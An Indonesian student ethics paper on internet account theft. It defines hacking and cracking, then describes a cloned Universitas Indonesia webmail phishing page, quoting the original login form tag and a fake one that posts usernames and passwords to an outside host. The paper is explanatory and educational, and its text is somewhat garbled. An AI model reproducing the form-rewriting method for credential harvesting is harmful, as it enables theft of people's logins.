1. PENCURIAN AKUN INTERNET MILIK ORANG LAIN
Asmawi (11.0504.0059), Agus Setiawan (11.0504.0059), Asmawi (11.0504.0059)
Program Studi Teknik Informatika S1, Fakultas Teknik
Universitas Muhammadiyah Magelang
asmawi_cuma@yahoo.com, asmawi_cuma@yahoo.com, asmawi_cuma@yahoo.com
Abstrak
Pencurian akun ini berbeda dengan pencurian secara fisik karena pencurian dilakukan cukup dengan menangkap
“user_id” dan “password” saja. Tujuan dari pencurian itu hanya untuk mencuri informasi saja. Pihak yang
kecurian tidak akan merasakan kehilangan. Namun, efeknya akan terasa jika informasi tersebut digunakan oleh
pihak yang tidak bertanggung jawab. Hal tersebut akan membuat semua beban biaya penggunaan akun oleh si
pencuri dibebankan kepada si pemilik akun yang sebenarnya.
1. Pendahuluan
a. Latar belakang
Pemanfaatan tekonologi informasi, media serta komunikasi telah mengubah perilaku serta pola
hidup masyarakat secara cepat. Pekembangan teknologi informasi yang begitu cepat juga telah
membuat hubungan dunia menjadi tanpa batas, dimana setiap orang bisa megetahui kapan, dimana
dan apa yang sedang kita lakukan saat ini dengan sangat mudah. Perkembangan teknologi ini
memang memberikan banyak manfaat bagi manusia tetapi perlu kita ingat juga bahwa teknologi
informasi saat ini memiliki dua sisi mata uang karena selain memberikan peningkatan bagi
kesejahteraan serta kemajuan bagi peradapan manusia sekaligus menjadi sarana efektif untuk
melakukan kejahatan yang melawan hukum.
Pencurian akun internet milik orang lain merupakan salah satu dari kategori Identity Thef and
fraud (pencurian identitas dan penipuan), hal ini dapat terjadi karena pemilik user kurang
memperhatikan terhadap keamanan didunia maya, dengan membuat user dan password yang
identik atau gampang ditebak dan memudahkan para pelaku kejahatan dunia maya ini melakukan
aksinya.
b. Tujuan
Adapun tujuan dari penulisan makalah ini yaitu :
1. Untuk memenuhi tugas mata kuliah etika prodesi.
2. Memberikan informasi tentang pencurian akun internet kepada kami sendiri pada khususnya
dan khalayak umum yang membaca pada umumnya.
c. Rumusan Masalah
Adapun permasalahan yang akan dibahas dalam makalah pencurian akun internet milik orang
lain yaitu :
1. Apa dampak yang ditimbulkan dari pencurian akun internet milik orang lain.
2. Bagaimana upaya untuk mengatasi pencurian akun internet milik orang lain.
d. Metodologi Penelitian
Dalam penulisan makalah ini, menggunakan beberapa metodologi yang bertujuan untuk
mempermudah penelitian yang sedang dikaji diantaranya yaitu :
1. Observaasi yaitu Pada tahap observasi, merupakan kegiatan pengamatan dengan meneliti
dokumen-dokumen yang beerkaitan dengan pencurian akun internet.
2. Studi Pustaka merupakan pengumpulan bahan-bahan yang berkaitandengan judul makalah
melalui membaca buku-buku dan mencari manfaat referensi dari internet.
2. Teori-Teori
a. Sistem Informasi
Pengertian sistem informasi secara umum adalah sebuah sistem yang terdiri dari berbagai
komponen yang brinteraksi dan bertujuan menghasilkan informasi.
Menurut Lauden sistem informasi adalah hubungan dari berbagai komponen yang
dikumpulkan, diproses, disimpan dan informasi tersebut disebarkan untuk mendukung
pengambilan keputusn untuk membuat analisa dan memberikan gambaran pada sebuah organisasi.
2. Sedangkan menurut Whitten sisteminformasi adalah siustau pengaturan orang-orang, data,
proses, dan teknologi informasi yang saling berhubungan untuk mengumpulkan, memproses,
meyimpan, dan menyediakan keluaran informasi yang diperlukan untuk mensupport suatu
organisasi[1].
b. Hacking
Hacking adalah kegiatan menerobos program komputer milik orang/pihak lain.Hacker adalah
orang yang gemar ngoprek komputer memiliki keahlian membuat dan membaca program tertentu
dan terobsesi mengamati keamanan (security)-nya. Hacker memiliki wajah ganda yang budiman
dan ada yang pencoleng.Hacker budiman memberi tahu kepada programer yang komputernya
diterobos akan adanya kelemahan-kelemahan pada program yang dibuat sehingga bisa bocor agar
segera diperbaiki.Sedangkan hacker pencoleng menerobos program orang lain untuk merusak dan
mencuri datanya[2].
c. Cracking
Cracking memiliki prinsip yang sama dengan hacking, namun tujuannya cenderung tidak baik.
Pada umumnya cracker mempunyai kebiasaan merusak, mengambil data bahkan informasi penting.
Cracking biasa dipanggil Blackhat Hacker. Cracker cenderung meretas berbagai system hanya
untuk kesenangan tersendiri[3].
3. Keterangan Gambar
Untuk memberikan gambaran tentang pencurian akun internet kami mengambil salah satu contoh
pencurian akun di webmail Universitas Indonesia.
1. Pengguna akun Universitas Indonesia sedang diincar oleh para penipu digital. Mereka menyalin
situs Webmail UI dan kemudian menaruhnya di sebuah hosting lain dengan kode yang sedikit
diubah.
Gambar Webmail UI Palsu
3. 2. Perbandingan dengan situs Webmail UI yang asli, nampak serupa. Blok peringatan yang kedua
kemudian ditambahkan oleh admin untuk memperingati pengguna Webmail UI.
Gambar Webmail UI Asli
Modus penipuan ini pelaku cukup mengunduh seluruh halaman Webmail UI. Misalnya di Firefox
tinggal Save As –> Webpage Complete. Kemudian pelaku mengubah bagian pengisian Username dan
Password untuk mengirimkannya ke alamat lain.
a. Pada kasus Webmail UI, halaman yang asli akan mengirim kepada sebuah mesin webmail:
<formaction="<ahref="viewsource:https://webmail.ui.ac.id/squirrel/src/redirect.php">https://webm
ail.ui.ac.id/squirrel/src/redirect.php</a>" method="<a>post</a>" name="<a>login_form</a>">
b. Sedangkan yang palsu akan mengirim ke hosting lokal.
<formaction="<ahref="viewsource:http://www.batdongsankimtan.com.vn/includes/phpmailer/ui.ph
p">ui.php</a>" method="<a>post</a>" name="<a>login_form</a>">[4]
4. Pembahasan
a. Dampak
Sebagai pemilik akun internet biasanya akan terbebani dengan penggunaan akun yang tidak
wajar, serta dapat digunakan untuk tindak kejahatan yang akan menjerumus kepada pemilik akun
internet.
b. Upaya Untuk Mengatasi
Pemerintah membentuk UUD ITE untuk menjerat pelaku cyber crime pencurian akun internet
agar secara optimal menjerat tindak pidana cyber crime pencurian akun internet.
Namun dalam realitanya menurut pengamatan kami sebagai penyidik fungsi pada reskrim
Polri, tetap saja terdapat faktor-faktor tertentu yang menjadi hambatan bagi penegak hukum secara
umum, dan penyidik Polri secara khusus sebagai penegak hukum terdepan dalam penanganan
tindak pidana cyber crime pencurian akun internet.
5. Penutup
Dari penjabaran yang telah kami sampaikan, kami memberikan beberapa kesimpulan dari makalah
yang kami buat diantaranya yaitu :
1. Untuk menghindari pencurian akun internet user dalam pemakaian internet harus mempunyai etika
ber internet yang baik atau dengan kata lain tidak menyalahgunakan penggunaan internet.
2. Untuk meningkatkan keamanan dapat menggunakan beberapa metode, contohnya metode
authentikasi, penggunaan metode enkripsi-dekripsi, dan menggunakan Firewall dan pertahanan
dengan antivirus.
4. Daftar Pustaka
[1] http://www.slideshare.net/dhaniginting/tugas-makalah-sistem-informasi, Ginting Dani Demianto, 2014,
Sistem Informasi
[2] https://balianzahab.wordpress.com/cybercrime/apa-itu-hacking-cracking-dan-defacing, Belian, 2012,
Pengertian Hacking
[3] http://theamazingjoker.blogspot.com/2014/03/pengertian-hacking-cracking-carding-dan.html, Ngurah
Dimas, 2014, Pengertian Cracking
[4] https://staff.blog.ui.ac.id/jp/2013/12/23/pencurian-identitas-digital-akun-ui, Alexander Jan Petter, 2013,
Pencurian Identitas Digital Akun UI